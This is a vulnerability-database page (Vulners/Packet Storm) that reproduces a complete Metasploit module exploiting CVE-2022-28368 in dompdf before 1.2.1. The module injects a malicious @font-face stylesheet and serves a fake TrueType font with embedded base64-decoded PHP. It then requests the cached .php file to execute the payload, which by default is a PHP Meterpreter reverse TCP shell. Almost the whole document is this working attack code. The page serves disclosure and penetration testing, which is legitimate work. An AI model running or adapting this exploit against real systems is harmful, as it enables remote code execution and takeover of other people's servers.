Lucene search
K

📄 dompdf Remote Code Execution

🗓️ 21 May 2026 00:00:00Reported by Adithya Pawar, msutovsky-r7, rvizx, Fabian Bräunlein, Maximilian KirchmeierType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 57 Views

Exploits CVE-2022-28368 in dompdf pre-1.2.1 for remote code execution via font cache.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Dompdf 1.2.1 - Remote Code Execution Exploit
6 Apr 202300:00
zdt
GithubExploit
Exploit for Cross-site Scripting in Dompdf_Project Dompdf
13 Feb 202308:10
githubexploit
GithubExploit
Exploit for Cross-site Scripting in Dompdf_Project Dompdf
28 Apr 202309:49
githubexploit
ATTACKERKB
CVE-2022-28368
3 Apr 202203:15
attackerkb
Circl
CVE-2022-28368
3 Apr 202207:21
circl
CNNVD
Dompdf 跨站脚本漏洞
3 Apr 202200:00
cnnvd
CVE
CVE-2022-28368
3 Apr 202200:00
cve
Cvelist
CVE-2022-28368
3 Apr 202200:00
cvelist
Debian CVE
CVE-2022-28368
3 Apr 202200:00
debiancve
Exploit DB
Dompdf 1.2.1 - Remote Code Execution (RCE)
6 Apr 202300:00
exploitdb
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Dompdf RCE via Malicious Font Caching (CVE-2022-28368)',
            'Description' => %q{
              This module exploits CVE-2022-28368, a Remote Code Execution vulnerability
              in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf
              preserves the original file extension when caching fonts downloaded via CSS
              @font-face rules. By pointing a @font-face src to a .php file containing a
              valid TrueType font header with embedded PHP code, the file is saved in the
              dompdf font cache (lib/fonts/) with its .php extension intact. The cached
              file can then be executed by directly requesting it from the web server.
    
              For dompdf versions <= 0.8.5, remote font loading works regardless of the
              $isRemoteEnabled setting. For versions 0.8.6 through 1.2.0, the
              $isRemoteEnabled option must be set to true.
    
              This module requires the ability to inject HTML/CSS into the data processed
              by dompdf (e.g., via an XSS, a user-controlled form field, or a direct
              parameter) and that the dompdf font cache directory is web-accessible.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maximilian Kirchmeier',   # Vulnerability discovery (Positive Security)
              'Fabian Bräunlein',        # Vulnerability discovery (Positive Security)
              'rvizx',                   # PoC exploit
              'msutovsky-r7',            # Metasploit module final
              'Adithya Pawar'            # Metasploit module init
            ],
            'References' => [
              ['CVE', '2022-28368'],
              ['GHSA', '56gj-mvh6-rp75'],
              ['URL', 'https://positive.security/blog/dompdf-rce'],
              ['URL', 'https://github.com/rvizx/CVE-2022-28368']
            ],
            'Targets' => [
              [
                'PHP',
                {
                  'Platform' => ['php'],
                  'Arch' => ARCH_PHP,
                  'Type' => :php,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DisclosureDate' => '2022-04-05',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('DOMPDF_PATH', [true, 'Web-accessible path to the dompdf installation', '/dompdf']),
            OptString.new('INJECT_PARAMETER', [true, 'The parameter allowing to inject custom CSS', '']),
          ]
        )
      end
    
      FONT_HEADER = "\x00\x01\x00\x00\x00\x0F\x00\x80\x00\x03\x00\x70\x44\x53\x49\x47" \
                "\x00\x00\x00\x01\x00\x00\x75\xE0\x00\x00\x00\x08\x47\x44\x45\x46" \
                "\x00\x10\x00\xC7\x00\x00\x75\xE8\x00\x00\x00\x16\x47\x50\x4F\x53" \
                "\x6C\x91\x74\x8F\x00\x00\x76\x00\x00\x00\x00\x20\x47\x53\x55\x42" \
                "\xE0\x34\xE1\xE2\x00\x00\x76\x20\x00\x00\x00\x46\x4F\x53\x2F\x32" \
                "\x34\xF4\x4A\xE2\x00\x00\x01\x78\x00\x00\x00\x60\x63\x6D\x61\x70" \
                "\x65\xE2\xC8\xD2\x00\x00\x04\xF4\x00\x00\x02\x26\x67\x61\x73\x70" \
                "\xFF\xFF\x00\x03\x00\x00\x75\xD8\x00\x00\x00\x08\x67\x6C\x79\x66" \
                "\x1D\x57\xEE\x42\x00\x00\x08\xAC\x00\x00\x68\x6C\x68\x65\x61\x64" \
                "\x1C\x59\xE0\x33\x00\x00\x00\xFC\x00\x00\x00\x36\x68\x68\x65\x61" \
                "\x08\x66\x02\xF8\x00\x00\x01\x34\x00\x00\x00\x24\x68\x6D\x74\x78" \
                "\x2C\xBF\xFF\xD3\x00\x00\x01\xD8\x00\x00\x03\x1C\x6C\x6F\x63\x61" \
                "\x72\xA0\x8C\x94\x00\x00\x07\x1C\x00\x00\x01\x90\x6D\x61\x78\x70" \
                "\x00\xD5\x01\x87\x00\x00\x01\x58\x00\x00\x00\x20\x6E\x61\x6D\x65" \
                "\x3D\x94\x69\x86\x00\x00\x71\x18\x00\x00\x02\xE4\x70\x6F\x73\x74" \
                "\x4C\x60\x52\x7C\x00\x00\x73\xFC\x00\x00\x01\xD9\x00\x01\x00\x00" \
                "\x00\x01\x00\x00\x7C\x16\x35\xE6\x5F\x0F\x3C\xF5\x00\x0B\x03\xE8" \
                "\x00\x00\x00\x00\xD7\x8F\x89\xE0\x00\x00\x00\x00\xE1\xCB\x12\x5C" \
                "\xFF\x74\xFE\x93\x04\x6D\x04\x81\x00\x00\x00\x06\x00\x01\x00\x00" \
                "\x00\x00".b.freeze
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', 'dompdf_font_family_cache.php')
        )
    
        return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'VERSION')
        )
    
        return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200
    
        version = Rex::Version.new(res.body.strip)
    
        return Exploit::CheckCode::Appears("The vulnerable version of DOMPDF #{version} detected") if version <= Rex::Version.new('1.2.0')
    
        Exploit::CheckCode::Safe("The DOMPDF detected, but it's running patched version")
      end
    
      def on_request_uri(cli, request)
        css_payload = %<
        @font-face {
        font-family:'#{@font_family_name}';
        src:url('#{@malicious_font_uri}');
        font-weight:'normal';
        font-style:'normal';
      }
      >
        font_payload = FONT_HEADER + %<\n<?php eval(base64_decode("#{Rex::Text.encode_base64(payload.encoded)}")) ?>>
        case request.uri
        when "/#{@css_name}"
          print_status('Serving exploit CSS file to dompdf...')
          send_response(cli, css_payload, {
            'Content-Type' => 'text/css'
          })
        when "/#{@font_name}"
          print_status('Serving font TTF file to dompdf...')
          send_response(cli, font_payload, {
            'Content-Type' => 'application/octet-stream'
          })
        else
          print_error("Unexpected request: #{request.uri}")
          send_not_found(cli)
        end
      end
    
      def send_payload
        param_name = datastore['INJECT_PARAMETER']
    
        res = send_request_cgi({
          'uri' => normalize_uri(datastore['URIPATH']),
          'method' => 'GET',
          'vars_get' =>
          {
            'pdf' => nil,
            param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
          }
        })
        return true if res&.code == 200
    
        res = send_request_cgi({
          'uri' => normalize_uri(datastore['URIPATH']),
          'method' => 'POST',
          'vars_post' => {
            param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
          }
        })
    
        return true if res&.code == 200
    
        res = send_request_cgi({
          'uri' => normalize_uri(datastore['URIPATH']),
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => {
            param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
          }.to_json
        })
    
        return true if res&.code == 200
    
        false
      end
    
      def trigger_payload
        send_request_cgi({
          'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', "#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php"),
          'method' => 'GET'
        })
      end
    
      def load_malicious_font
        @font_name = "#{Rex::Text.rand_text_alpha(8)}.php"
        @css_name = "#{Rex::Text.rand_text_alpha(8)}.css"
        @font_family_name = Rex::Text.rand_text_alpha(8)
        binding_ip = srvhost_addr
    
        proto = datastore['SSL'] ? 'https' : 'http'
        @malicious_css_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@css_name}"
        @malicious_font_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@font_name}"
    
        fail_with(Failure::PayloadFailed, 'Failed to load malicious font') unless send_payload
      end
    
      def exploit
        start_service({
          'Uri' => {
            'Proc' => proc do |cli, req|
              on_request_uri(cli, req)
            end,
            'Path' => '/'
          }
        })
        load_malicious_font
    
        register_file_for_cleanup("#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php")
    
        trigger_payload
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 May 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 27.5
CVSS 3.19.8
EPSS0.88271
57